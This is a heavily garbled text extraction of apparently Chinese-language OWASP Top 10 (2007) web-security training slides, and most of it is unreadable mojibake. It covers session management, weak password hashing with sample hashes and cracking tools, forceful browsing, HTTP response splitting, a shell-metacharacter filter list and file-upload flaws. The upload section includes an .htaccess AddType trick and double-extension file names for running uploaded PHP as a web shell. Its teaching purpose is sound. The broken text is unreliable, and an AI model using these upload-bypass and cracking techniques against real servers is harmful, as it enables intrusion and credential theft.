� ¼¼ ¼¼ ÁÁ ÁÁ � \ô õ P� \ô õ P� \ô õ P� \ô õ PLog � � �d� � �d� � �d� � �d Â ÃÂ ÃÂ ÃÂ Ã èè èè



OWASP Top10(2007)-7
Broken Authentication & 

Session Management



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 77

�Broken Authentication and Session 
Management

�Web a � �a � �a � �a � � �� �� � : �� : �� : �� : � 		 		 ¿ U¿ U¿ U¿ Uf n Sf n Sf n Sf n S �� �� �� �� 88 88

� c $� c $� c $� c $ ¢ £¢ £¢ £¢ £

� l m ¹l m ¹l m ¹l m ¹ ÄÄ ÄÄ �� �� ff ff �� ��

� l m Z Çl m Z Çl m Z Çl m Z Ç Å tÅ tÅ tÅ t



� ¤ -¤ -¤ -¤ - � �� �� �� � test1 � �� �� �� � ���� ¥¥ ¥¥ `` `` issuer_account
¦¦¦¦ XX XX �J�J�J�J � �� �� �� � (test2)���� \\ \\ ] f] f] f] f �� ��

� �� �� �� �� �� �� �� � :: r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �
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� �� �� �� �� �� �� �� � :: r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' � (cont.)(cont.)



� ¥¥ ¥¥ `` `` SS SS �� �� § ¨ ©§ ¨ ©§ ¨ ©§ ¨ © �� �� 8 U�8 U�8 U�8 U� �� ��

� �� �� �� �� �� �� �� � :: r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' � (cont.)(cont.)



� \\ \\ ] f] f] f] f � X �� X �� X �� X � (���� test2) ����bbbb ªª ªª �� �� ¥¥ ¥¥ `` `` JJ JJ 11 11

U�U�U�U� �� �� ====

� �� �� �� �� �� �� �� � :: r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' �r s t u v w ' � (cont.)(cont.)



Cookie Poisoning/SpoofingCookie Poisoning/Spoofing

� �� �� ` û ü ý j` û ü ý j` û ü ý j` û ü ý j q 9 :q 9 :q 9 :q 9 : � U� U� U� UCookie
� ¯ u¯ u¯ u¯ u l ml ml ml m ���� ^ Æ^ Æ^ Æ^ Æ Z ÇZ ÇZ ÇZ Ç

� � �� �� �� � « ¬« ¬« ¬« ¬ – Cookie �� �� TTTT����E �E �E �E � � � � �  « ¬« ¬« ¬« ¬

�uid : ÇÇ ÇÇ ùùùù
�username : y zy zy zy z�username : y zy zy zy z

�admin : 0/1/Y/N
�permission : ÇÇ ÇÇ ùùùù/ y zy zy zy z



o x y 	 \ ) z {o x y 	 \ ) z {o x y 	 \ ) z {o x y 	 \ ) z {o x y 	 \ ) z {o x y 	 \ ) z {o x y 	 \ ) z {o x y 	 \ ) z {

� H �H �H �H � R }R }R }R } �� �� �� ��

�http://www.test.com.tw/UserDataManagement
/UserDataEdit.aspx?access=read

�http://1XX.XX.XX.XX/weeklyReport/listEach
Person.asp?person=adminPerson.asp?person=admin

� ÂÂ ÂÂ 6 È É Ê Ë6 È É Ê Ë6 È É Ê Ë6 È É Ê Ë �� �� C DC DC DC D G ðG ðG ðG ð access=user
� H �H �H �H � referer header

�Strong Access Control to “ /admin.aspx”
�After that, access control depends on verifying 

referer header.
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

�Authentication
� w O Ó � Òw O Ó � Òw O Ó � Òw O Ó � Ò

� ¼ �¼ �¼ �¼ � && && W P� Q E iW P� Q E iW P� Q E iW P� Q E i ÌÌ ÌÌ �u�u�u�u < Í< Í< Í< Í G Pn oG Pn oG Pn oG Pn o Î ÏÎ ÏÎ ÏÎ Ï

– IP addresses ����address range masks���� DNS or 
reverse DNS lookups����referrer headers …reverse DNS lookups����referrer headers …

� � H � Ò Õ Ö × Ø� H � Ò Õ Ö × Ø� H � Ò Õ Ö × Ø� H � Ò Õ Ö × Ø

� � Ò è é ù� Ò è é ù� Ò è é ù� Ò è é ù Ð g Ñ Ò � �Ð g Ñ Ò � �Ð g Ñ Ò � �Ð g Ñ Ò � � (UUUU � �� �� �� � Þ ^ YÞ ^ YÞ ^ YÞ ^ Y )
�Challenge / Response
� U *U *U *U * * õ w O x r ^ � 6* õ w O x r ^ � 6* õ w O x r ^ � 6* õ w O x r ^ � 6 Ó ÔÓ ÔÓ ÔÓ Ô Pn o ^ YPn o ^ YPn o ^ YPn o ^ Y



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

� � � x ¼ ¬� � x ¼ ¬� � x ¼ ¬� � x ¼ ¬ ÕÕ ÕÕ Þ 6Þ 6Þ 6Þ 6 Ó � �Ó � �Ó � �Ó � �

� UU UU ¬ þ =¬ þ =¬ þ =¬ þ = ;; ;; � \�� \�� \�� \�11 11 � {� {� {� { ÖÖ ÖÖ � Ò� Ò� Ò� Ò

– Use SSL
Do not allow the login process to start from an 
unencrypted pageunencrypted page

– 55 55 5 �5 �5 �5 � 66 66 � � E �� � E �� � E �� � E � 77 77 Ý ¶Ý ¶Ý ¶Ý ¶ � � 8� � 8� � 8� � 8 � � � �� � � �� � � �� � � �

� UU UU ¬ þ =¬ þ =¬ þ =¬ þ = ;; ;; �� �� ÁÁ ÁÁ � � Ò� � Ò� � Ò� � Ò

– Hash / Encryption

� × �× �× �× � ^^ ^^ Ø Ù ÚØ Ù ÚØ Ù ÚØ Ù Ú 11 11 nn nn P�øP�øP�øP�ø OO OO �� �� :
– Two step confirmation
– Re-Authentication
– Two-factor Authentication



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

� kk kk W ð ¥ � ÒW ð ¥ � ÒW ð ¥ � ÒW ð ¥ � Ò

– � � � �� � � �� � � �� � � � 99 99 � � �� � �� � �� � �

– Re-authentication
– :: :: SS SS � �� �� �� � � � � =� � � =� � � =� � � = ; < =; < =; < =; < = �� �� > ?> ?> ?> ? Ý p q JÝ p q JÝ p q JÝ p q J @@ @@ ÆÆ ÆÆ

– SSL A 5 �A 5 �A 5 �A 5 � VV VV– SSL A 5 �A 5 �A 5 �A 5 � VV VV

– BB BB ¸ � � �¸ � � �¸ � � �¸ � � � (by email)

� Û ¦Û ¦Û ¦Û ¦ � Ò� Ò� Ò� Ò

– � ý J� ý J� ý J� ý J C *C *C *C * : “ < � "< � "< � "< � " DD DD éé éé EE EE ??”
– Send a unique time-limited unguessable single-use 

recovery URL to user’s email provided during 
registration.
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

�Session Management
� Session Tokens’ Protection

– A 5 � FA 5 � FA 5 � FA 5 � F ( SSL / '' '' �� �� GG GG X YX YX YX Y A 5A 5A 5A 5 )
– TU � �TU � �TU � �TU � � cookie � H� H� H� H

�� cookie scope (domain & path)�� cookie scope (domain & path)
Cookie � � � secure flag

– TUTUTUTU 88 88 �� �� I J KI J KI J KI J K �� �� � �� �� �� � � �� �� �� � cookie
� � URL � 	 
 � �  � �

Referer header
Browsing History

� � : Store cookies in the hidden field in the POST 
form data (+SSL/ Encryption)

– �� �� øø øø � � L� � L� � L� � L �� �� MM MM ( )( )( )( )LogKKKK



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

�Logout( ) !
– u o º = (u o º = (u o º = (u o º = ( NN NN � � � J� � � J� � � J� � � J session � � � � 

–���� session token ` a` a` a` a

�Limit session lifetime 
���� Logout( ) !���� Logout( ) !

�No concurrent logins !
– Each login ���� A fresh session

Logout( ) + Re-generate a different session token

– OO OO = � |= � |= � |= � | PP PP �� �� �Q�Q�Q�Q JJJJ token R S !R S !R S !R S ! (( (( ���� TT TT ¬¬ ¬¬ U*U*U*U*
VVVV �� �� ���� Security Alert !

�Main Session Token + Per-Page Token
� C & KC & KC & KC & K DD DD r _ `r _ `r _ `r _ ` y zy zy zy z P| AP| AP| AP| A ���� ** ** w O x vw O x vw O x vw O x v �� �� !



OWASP Top10(2007)-8
Insecure Cryptographic Storage



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 88

�Insecure Cryptographic Storage
� a � �a � �a � �a � � � 6� 6� 6� 6 $$ $$ �� �� K Ô �K Ô �K Ô �K Ô � �� �� � �� �� �� �  ® ® ® ®

� ÜÜ ÜÜ rr rr ©© ©© m P� Qm P� Qm P� Qm P� Q !
� $ � �$ � �$ � �$ � � ����hh hh ²²²²� $ � �$ � �$ � �$ � � ����hh hh ²²²²

� w Ow Ow Ow O ���� P� � P� � P� � P� � Ý ÞÝ ÞÝ ÞÝ Þ ~ R K~ R K~ R K~ R K À �À �À �À �

� û üû üû üû ü ÁÁ ÁÁ � X � E� X � E� X � E� X � E �� ��



M N O | } ~ � � � �M N O | } ~ � � � �M N O | } ~ � � � �M N O | } ~ � � � �M N O | } ~ � � � �M N O | } ~ � � � �M N O | } ~ � � � �M N O | } ~ � � � �



�Password : 12345678

Hashed PasswordHashed Password

Algorithm Value
Base64 MTIzNDU2Nzg=

DES (13 chars) aaNN3X.PL2piw

MD5 (32 chars) 25d55ad283aa400af464c76d713c07ad

193

MD5 (32 chars) 25d55ad283aa400af464c76d713c07ad

SHA1 (40 chars) 7c222fb2927d828af22f592134e8932480637c0d

Salted MD5 $1$tsLFcOYh$5ibC1Ui2OPwUvyGUttUFI1

LanMan 0182BD0BD4444BF836077A718CCDF409

NTLM 259745CB123A52AA2E693AAACCA2DB52



Hash CalculatorHash Calculator

�Hash Calc



� ¯ ° � �¯ ° � �¯ ° � �¯ ° � � � � �� � �� � �� � �

Hashed Password Cracking ProcessHashed Password Cracking Process

7c222fb2927d8
28af22f592134e
8932480637c0d

Plaintext 000001Plaintext 000001’ hash

Plaintext 000002Plaintext 000002’ hash

….….

Possible candidates

Match ?

Hashed Password

� Þ ¤Þ ¤Þ ¤Þ ¤ ß à á âß à á âß à á âß à á â !
� < ã ä å< ã ä å< ã ä å< ã ä å Þ ¤Þ ¤Þ ¤Þ ¤ ����æ Gç Þ �æ Gç Þ �æ Gç Þ �æ Gç Þ � �� �� èè èè ��������

Rainbow Table
� :: :: ô ± ² uô ± ² uô ± ² uô ± ² u table-lookup � é � ®� é � ®� é � ®� é � ® PPPP çç çç �������� êê êê

ä åä åä åä å Þ ¤Þ ¤Þ ¤Þ ¤ ¦¦¦¦
195

Plaintext 999999Plaintext 999999’ hash



Rainbow Table GeneratorRainbow Table Generator

�Winrtgen



Free Rainbow TablesFree Rainbow Tables



Password CrackersPassword Crackers

� John the Ripper
� http://www.openwall.com/john/
� DES/MD5/Salted MD5/LM

� John The Ripper MPI Patch
� http://bindshell.net/tools/johntheripper
� DES/MD5/Salted MD5/LM/NTLM/…

� Cain & Abel� Cain & Abel
� http://www.oxid.it/
� LM/NTLM/MD5/SHA1/…

� RainbowCrack
� http://www.antsight.com/zsl/rainbowcrack/
� MD5/SHA1/LM/NTLM/…

� Google
� Reverse MD5
� Reverse SHA1



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

�Principles
� ^^ ^^ ØØ ØØ � Q � E� Q � E� Q � E� Q � E ÁÁ ÁÁ �� �� �� �� EE EE ÁÁ ÁÁ �� ��

� ª 
 ëª 
 ëª 
 ëª 
 ë ii ii ÁÁ ÁÁ �� �� ����ÙÙÙÙ � �� �� �� � HashUUUU �� �� � �� �� �� � � �� �� �� � ¦¦¦¦

– � �� �� �� � BB BB QQ QQ W X YW X YW X YW X Y û Jû Jû Jû J Z [ *Z [ *Z [ *Z [ *

key size– � � d & J� � d & J� � d & J� � d & J key size
– Hash (One-Way)

Weak algorithms : LM�MD5�SHA1
Better : MD5 twice

– Cipher(Two-Way)
Weak algorithm : DES
Better : AES(AES-128, AES-192 and AES-256)
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

�\\\\ ìì ìì ðð ðð pp pp Õ PÕ PÕ PÕ P hash çç çç � A� A� A� A íí íí ùùùùy zy zy zy z (salt)
– ØØ ØØ \\ \\ ¾ �¾ �¾ �¾ � rainbow table JJJJ 22 22 Ä a UÄ a UÄ a UÄ a U

� ª 
ª 
ª 
ª 
 ii ii îî îî � � �� � �� � �� � � Ý ÞÝ ÞÝ ÞÝ Þ ~~ ~~ ���� U )U )U )U ) �� �� ïï ïï QQ QQ !
– Bad SSH-2 implementation in OpenSSH 

v2.3.1(2001/1/18~2/8)v2.3.1(2001/1/18~2/8)



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

�For encryption keys
– �� �� )� � C � �)� � C � �)� � C � �)� � C � � A 5 ] ^A 5 ] ^A 5 ] ^A 5 ] ^ ×�  { J( 
 � ¥×�  { J( 
 � ¥×�  { J( 
 � ¥×�  { J( 
 � ¥ (____
====���� `` `` ©© ©© @@ @@ ÆÆ ÆÆ 55 55 55 55 )tttt

– �� �� �� �� persistent cookies MM MM ( )( )( )( ) 88 88 �� ��

– a b c da b c da b c da b c d üü üü ee ee �  Ï�  Ï�  Ï�  Ï key– a b c da b c da b c da b c d üü üü ee ee �  Ï�  Ï�  Ï�  Ï key

�For configuration store
– X YX YX YX Y A 5A 5A 5A 5

– ( 
( 
( 
( 
 � � f� � f� � f� � f �� ��



OWASP Top10(2007)-9
Insecure Communication
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�Insecure Communication
��������� ±± ±± ÔÔ ÔÔ � �� �� �� � �� �� � 2 6� 2 6� 2 6� 2 6 $ H � � �$ H � � �$ H � � �$ H � � � � �� �� �� � °° °°

� �� �� �� �  ® ® ® ® ���� vv vv ² ³² ³² ³² ³



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

�For Web Connections :
� � �� �� �� � SSL � F� F� F� F º =º =º =º = �� �� VV VV =g=g=g=g �  J� W�  J� W�  J� W�  J� W !

– ������������������������ (Password����Session ID)
�������� � � � � � � �� � � � � � �� � � � � � �� � � � � � � 				



� � � �  � � � � � �� � � �  � � � � � �� � � �  � � � � � �� � � �  � � � � � �

– � 	 
 ��� 	 
 ��� 	 
 ��� 	 
 ��– � 	 
 ��� 	 
 ��� 	 
 ��� 	 
 ��

– � � ��� � ��� � ��� � ��(  � � � � : � �� �� �� � ����� �� �� �� � ����� �� �� �� � )
– � � ��� � ��� � ��� � ��

� hh hh � j� j� j� j ii ii UUUU SSLJ( 
 �J( 
 �J( 
 �J( 
 � jj jj !

�For Infrastructure Elements’ Communications:
� e.g. � �� �� �� � _=_=_=_=�������� �  {�  {�  {�  { _=_=_=_=

– TLS (Transport Layer Security)����IPSec



OWASP Top10(2007)-10
Failure to Restrict URL Access
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�Failure to Restrict URL Access
� ´´ ´´ � K Ô� K Ô� K Ô� K Ô �� �� UR } ö .UR } ö .UR } ö .UR } ö . 66 66 $$ $$ µ �µ �µ �µ � Õ ÖÕ ÖÕ ÖÕ Ö �� �� �� ��

����HHHH ((((� � ÷ b� � ÷ b� � ÷ b� � ÷ b ¶  ¶  ¶  ¶  RR RR � u I T'� u I T'� u I T'� u I T'====



� � � �� � � �� � � �� � � �� � � �� � � �� � � �� � � �



Forceful BrowsingForceful Browsing

� ¨¨ ¨¨ �� �� HTML Å Ï � °Å Ï � °Å Ï � °Å Ï � ° � · ¸ ¹� · ¸ ¹� · ¸ ¹� · ¸ ¹ UUUUURL
� CC CC §§ §§ ^ _^ _^ _^ _ � c } �� c } �� c } �� c } �

� adduser/deluser����showprofile/editprofile����…

� CC CC §§ §§ º �º �º �º � ¢°¢°¢°¢° T'̂ _ � �T'̂ _ � �T'̂ _ � �T'̂ _ � �� CC CC §§ §§ º �º �º �º � ¢°¢°¢°¢° T'̂ _ � �T'̂ _ � �T'̂ _ � �T'̂ _ � �
� üü üü ee ee þþ þþ : .bak����.old����.tmp����*~

� ß ú ×�  þß ú ×�  þß ú ×�  þß ú ×�  þ : .inc����.cfg����.log����.mdb����.xls����.sql

� k lk lk lk l þþ þþ : .tar����.zip����.rar����.tgz



� 0� 0� 0� 0� 0� 0� 0� 0 GoogleGoogle HackingHacking
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Web AP Web AP : � ` a � � � �: � ` a � � � �: � ` a � � � �: � ` a � � � �: � ` a � � � �: � ` a � � � �: � ` a � � � �: � ` a � � � �

� »» »» � 	 p �� 	 p �� 	 p �� 	 p � ® µ (¼® µ (¼® µ (¼® µ (¼ ½ ¾ R � P½ ¾ R � P½ ¾ R � P½ ¾ R � P ½½ ½½

� è é nè é nè é nè é n ²² ²² + } ¥} ¥} ¥} ¥ ð ñð ñð ñð ñ �����	 � � s�	 � � s�	 � � s�	 � � s P ò óP ò óP ò óP ò ó

– ø ^ø ^ø ^ø ^ mm mm � ¸� ¸� ¸� ¸ jj jj … ..
– X � ( 
X � ( 
X � ( 
X � ( 
 ���� No SSL
– OO OO == == nn nn Á X öÁ X öÁ X öÁ X ö o po po po p � �� �� �� �– OO OO == == nn nn Á X öÁ X öÁ X öÁ X ö o po po po p � �� �� �� �

� � � � � � � � � � � �

� No/Bad authorization

� ¹¹ ¹¹ ¾ T'¾ T'¾ T'¾ T'ÁÁ ÁÁ � U V� U V� U V� U V R }R }R }R }
�Demo ���� … ..
� CC CC � ý� ý� ý� ý %%%% q rq rq rq r YY YY s ts ts ts t ll ll uu uu !!!
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� ¹ � � � b¹ � � � b¹ � � � b¹ � � � b u I T'¥u I T'¥u I T'¥u I T'¥ ` � � � c ñ �` � � � c ñ �` � � � c ñ �` � � � c ñ �

r s t u v w � � l mr s t u v w � � l mr s t u v w � � l mr s t u v w � � l mr s t u v w � � l mr s t u v w � � l mr s t u v w � � l mr s t u v w � � l m
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� �� �� ëë ëë : ôô ôô � _ ` x� _ ` x� _ ` x� _ ` x ² õ² õ² õ² õ [ r Pô õ � � �ø[ r Pô õ � � �ø[ r Pô õ � � �ø[ r Pô õ � � �ø URL
¬¬ ¬¬ �� �� � i ;ùÅ� i ;ùÅ� i ;ùÅ� i ;ùÅ ËË ËË �� �� !

� 3 � � i Å Æ � ± ² � T3 � � i Å Æ � ± ² � T3 � � i Å Æ � ± ² � T3 � � i Å Æ � ± ² � T

� && && aa aa jj jj ii ii �� �� v I Jv I Jv I Jv I J Î �Î �Î �Î �

� ß úß úß úß ú w xw xw xw x �� �� yy yy Ý JÝ JÝ JÝ J zz zz þ éþ éþ éþ é � ( 
 � ^� ( 
 � ^� ( 
 � ^� ( 
 � ^� ß úß úß úß ú w xw xw xw x �� �� yy yy Ý JÝ JÝ JÝ J zz zz þ éþ éþ éþ é � ( 
 � ^� ( 
 � ^� ( 
 � ^� ( 
 � ^

� � Ý 2� Ý 2� Ý 2� Ý 2¢� 5¢� 5¢� 5¢� 5 i j þ �i j þ �i j þ �i j þ � 	 N	 N	 N	 N � � �� � �� � �� � � � �� �� �� � � E� E� E� E

� � Ý )� Ý )� Ý )� Ý ) t { _=t { _=t { _=t { _=Kp q � �Kp q � �Kp q � �Kp q � � !



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

� 3 � � i �ø � ± ² � T3 � � i �ø � ± ² � T3 � � i �ø � ± ² � T3 � � i �ø � ± ² � T

� � � �� � �� � �� � � ss ss ¼¼ ¼¼ || || ¬ J¬ J¬ J¬ J } ~ �} ~ �} ~ �} ~ �

– � � �  ! 	 (" # )

� � 4� 4� 4� 4 ( 
( 
( 
( 
 � e� e� e� e

– � � � � �� � � � �� � � � �� � � � � / � � � � � �� � � � � �� � � � � �� � � � � �

�� � 4� 4� 4� 4 ( 
( 
( 
( 
 �� �� �� ��

� � 4� 4� 4� 4 ( 
 �( 
 �( 
 �( 
 � �� �� IP

� Secure Default
� � � ß à Ü ¦� ý ( 
� � ß à Ü ¦� ý ( 
� � ß à Ü ¦� ý ( 
� � ß à Ü ¦� ý ( 
 ff ff �� �� � �� �� �� �

– Role Based

� ³ ´³ ´³ ´³ ´ � �� �� �� � (×ð×ð×ð×ð � �� �� �� � ) � �� �� �� � �� �� %%%%ËËËË �� �� ß ú ýß ú ýß ú ýß ú ý � � � �� � � �� � � �� � � � tttt

– �  ! "�  ! "�  ! "�  ! " vs. # $ % & ! "# $ % & ! "# $ % & ! "# $ % & ! "
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HTTP Response SplittingHTTP Response Splitting

�HTTP == == a �a �a �a � ¿¿ ¿¿

� Å öÅ öÅ öÅ ö :
� � �� �� �� � AP2� � � JV � �  µ V ! ¶2� � � JV � �  µ V ! ¶2� � � JV � �  µ V ! ¶2� � � JV � �  µ V ! ¶ 88 88 �� �� %%%%____ �� �� ðð ðð
NN NN ))))HTTP ¶ ¥¶ ¥¶ ¥¶ ¥ JJJJHeader����tttt

� � �� �� �� � :� � �� �� �� � :
� � � � �� � � �� � � �� � � � � * �� * �� * �� * � � - . J� - . J� - . J� - . J � �� �� �� � %%%%2¢2¢2¢2¢ �� �� J� zJ� zJ� zJ� z HTTP

Response §¨Ó z§¨Ó z§¨Ó z§¨Ó z (×××× � �� �� �� � ) tttt
� BB BB ee ee �� �� � z ¶� z ¶� z ¶� z ¶ �� �� ¥ å � ø¥ å � ø¥ å � ø¥ å � ø > � 8> � 8> � 8> � 8 � � � �� � � �� � � �� � � � :

– ' (' (' (' ( Script
– ) * +, - .) * +, - .) * +, - .) * +, - .

– / 0 1 2 3 4/ 0 1 2 3 4/ 0 1 2 3 4/ 0 1 2 3 4
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� � �� �� �� � :
� ö ÷ö ÷ö ÷ö ÷ ;ù;ù;ù;ùøø øø HH HH M N ùM N ùM N ùM N ù ðð ðð ~~ ~~ ++ ++ ú �ú �ú �ú � P�øP�øP�øP�ø

HTTP Response SplittingHTTP Response Splitting

� ÌÌ ÌÌ ªª ªª i Ii Ii Ii I �� �� == == úú úú P�øP�øP�øP�ø :
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HTTP Response SplittingHTTP Response Splitting

� � � _ `� � _ `� � _ `� � _ ` :

� 99 99 

 

 :
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� ×× ×× w O x | A ³ ´ îw O x | A ³ ´ îw O x | A ³ ´ îw O x | A ³ ´ î ûû ûû
� 5 6 7 8 9 : / ; < =5 6 7 8 9 : / ; < =5 6 7 8 9 : / ; < =5 6 7 8 9 : / ; < = >>>>

– |����� � � � �� � � � �� � � � �� � � � � ����

– &����‘����’ � �� �� �� � ����

– ;����	 �	 �	 �	 � ����

– $����
 � � �
 � � �
 � � �
 � � � ����

– %����� 	  � �� 	  � �� 	  � �� 	  � � ����

� ? @ � A B C? @ � A B C? @ � A B C? @ � A B C DDDD7 8 E F 9 :7 8 E F 9 :7 8 E F 9 :7 8 E F 9 :
/ ; G H < =/ ; G H < =/ ; G H < =/ ; G H < = ( I  � A J KI  � A J KI  � A J KI  � A J K
( L M N O P J Q R S T( L M N O P J Q R S T( L M N O P J Q R S T( L M N O P J Q R S T )>>>>

– 0~9
– /
– -– %����� 	  � �� 	  � �� 	  � �� 	  � � ����

– @����at � �� �� �� � ����

– ‘����� � � � �� � � � �� � � � �� � � � � ����

– “ ����� �� �� �� � ����

– \‘����� � � � � � � �� � � � � � � �� � � � � � � �� � � � � � � � ����

– \“ ����� � � � � � �� � � � � � �� � � � � � �� � � � � � � ����

– <>����� � �� � �� � �� � � ����

– ()����� �� �� �� � ����

– +����� �� �� �� � ����

– CR����� �� �� �� � ����ASCII 0x0d����
– LF����� �� �� �� � ����ASCII 0x0a����
– ,����� �� �� �� � ����

– \����� � �� � �� � �� � � ����
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Parameter TamperingParameter Tampering

� �� �� `` `` URL Ë ²Ë ²Ë ²Ë ²)[ �)[ �)[ �)[ � �� �� ���� H �H �H �H � � q� q� q� q �� �� À �À �À �À �
( ¯ UÙ a( ¯ UÙ a( ¯ UÙ a( ¯ UÙ a

�radio button����check box����select menu
�hidden value

� � � � �� � � �� � � �� � � �
üüüü���� Ù ô 9Ù ô 9Ù ô 9Ù ô 9 �� �� ûû ûû ýý ýý þþ þþ ��������

üüüü���� � � � Ò P� � � Ò P� � � Ò P� � � Ò P � �� �� �� � ����������������� � � � �� � � �� � � �� � � �

�SQL����XSS
� �� �� ùùùù

� �� �� ÚÚ ÚÚ çç çç

� kk kk W �W �W �W �� �� �� �� � r 6 P;ùr 6 P;ùr 6 P;ùr 6 P;ù

üüüü���� t �t �t �t � þþ þþ ��������

üüüü���� � �� �� �� � þþ þþ ��������

üüüü���� Z ÇZ ÇZ ÇZ Ç � �� �� �� � 				



 ±± ±± Å tÅ tÅ tÅ t ����

üüüü���� � � � Ò P� � � Ò P� � � Ò P� � � Ò P � �� �� �� � ����������������

���������	
�������������	
�������������	
�������������	
���� � � �� � �� � �� � �



� � � � �  - � �� � � � �  - � �� � � � �  - � �� � � � �  - � �� � � � �  - � �� � � � �  - � �� � � � �  - � �� � � � �  - � �

222222

������� � 	 
 � �  � � � �

� � �� � � � � � � � � �

�� � �  ! "# $ $ % � �  ! "&



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

�Input Validation
� { |{ |{ |{ | Business Logic P¹P¹P¹P¹ ÄÄ ÄÄ !
����� � �� �� �� � r 6 P;ùr 6 P;ùr 6 P;ùr 6 P;ù SS SS �� �� òò òò �� �� ×× ×× Session l ml ml ml m �� ��

  GG GG �� �� !
� H � ÷ � � U�H � ÷ � � U�H � ÷ � � U�H � ÷ � � U� ¦¦¦¦,,,,Á µ  � *Á µ  � *Á µ  � *Á µ  � *̈̈̈̈ SS SS ÁÁ ÁÁ

� E iE iE iE i �� �� % �% �% �% � È É Ê ËÈ É Ê ËÈ É Ê ËÈ É Ê Ë UUUU�� �� ;ùP;ùP;ùP;ùP;; ;; � { �{� { �{� { �{� { �{

��������** ** w O x rw O x rw O x rw O x r �� �� kk kk W P̂ �W P̂ �W P̂ �W P̂ � ¦¦¦¦

� ¼ � K ô õ¼ � K ô õ¼ � K ô õ¼ � K ô õ Session ¯¯ ¯¯ ùùùù(U� QU� QU� QU� Q �� �� ) � �T O� �T O� �T O� �T O ¦¦¦¦
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File Upload Mis-Handling



� ' � � � S� ' � � � S� ' � � � S� ' � � � S� ' � � � S� ' � � � S� ' � � � S� ' � � � S

� �� �� mm mm AP ± $± $± $± $ � � Â� � Â� � Â� � Â � � c� � c� � c� � c

� � {� {� {� { � �� �� �� � ���� � �� �� �� � ����= Ý= Ý= Ý= Ý … .
� � U� U� U� U ¹¹ ¹¹ �� �� UUUUÃÃ ÃÃ ����Z [ b �Z [ b �Z [ b �Z [ b � ÂÂ ÂÂ � ¶� ¶� ¶� ¶ �� �� �� �� �� ��

�WebShell ���� X Y ô õX Y ô õX Y ô õX Y ô õ Web ] ^] ^] ^] ^�WebShell ���� X Y ô õX Y ô õX Y ô õX Y ô õ Web ] ^] ^] ^] ^
� { Ú{ Ú{ Ú{ Ú -- -- ����uu uu �� �� -- --
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� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {

� � O ¨ © K �� O ¨ © K �� O ¨ © K �� O ¨ © K � �� �� m ± $m ± $m ± $m ± $ Ä {Ä {Ä {Ä {

�Client-side validation
– � ¼� ¼� ¼� ¼ bypass !

�MIME Type validation
!– � ¼ �� ¼ �� ¼ �� ¼ � 11 11 !

$ % & ' ( ) * + , � Script� - * . / 0 � 12 3 4 5
HTTP POST
 � 6 7 � � 8 19 - * + : ; < = �
MIME Type>
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� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � {� $ � ? � { (cont.)(cont.)

– � � � �� � � �� � � �� � � � ß úß úß úß ú � �� �� �� � == == � �� �� �� � : Apache + PHP 
? @ 7 � * + � A B � � � “.htaccess”, C D :

AddType application/x-httpd-php .jpg
' � E A B 5 PHP � F  
 � 6 G H .jpg � � 8

filename.php.123 ?!filename.php.123 ?!
�ApacheI J � K L M � N � � 1O P L M � N � �
6 F 

filename.php.jpg ?!
�Apache Q 5 R S T U 6 � � F  PHP : the 

AddHandler directive � - AddType. 
� V W - X & 1Y � � � I D Z ‘.php’ [ O � \ ]

PHP � 8 6 F  >
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� � �� �� �� � ZZ ZZ ¢¢¢¢[[ [[ UUUU? Å? Å? Å? Å ��������Web Server �  ��  ��  ��  �

� Æ �� Æ �� Æ �� Æ � UUUUMIME-Type////����®® ®® � �� �� �� � a U�a U�a U�a U�

� Ç �� Ç �� Ç �� Ç � ¢¢¢¢====

� ¾¾ ¾¾ � :� :� :� : ** ** ^^ ^^ K PK PK PK P� �� �� �� �  ® ® ® ®

– � T� T� T� T : Apache JJJJ “ .htaccess ” þ �þ �þ �þ � � N 	� N 	� N 	� N 	 � � � ¼� � � ¼� � � ¼� � � ¼– � T� T� T� T : Apache JJJJ “ .htaccess ” þ �þ �þ �þ � � N 	� N 	� N 	� N 	 � � � ¼� � � ¼� � � ¼� � � ¼
I JI JI JI J ×××× t �t �t �t � 

 

 �� �� J�J�J�J� 		 		 tttt

� � ^ _ Ỳ a b c � d e

deny from all
<Files ~ "^\w+\.(gif|jpe?g|png)$">
order deny,allow
allow from all
</Files>
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� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

� Ç �Ç �Ç �Ç � ¢̈¢̈¢̈¢̈ SS SS

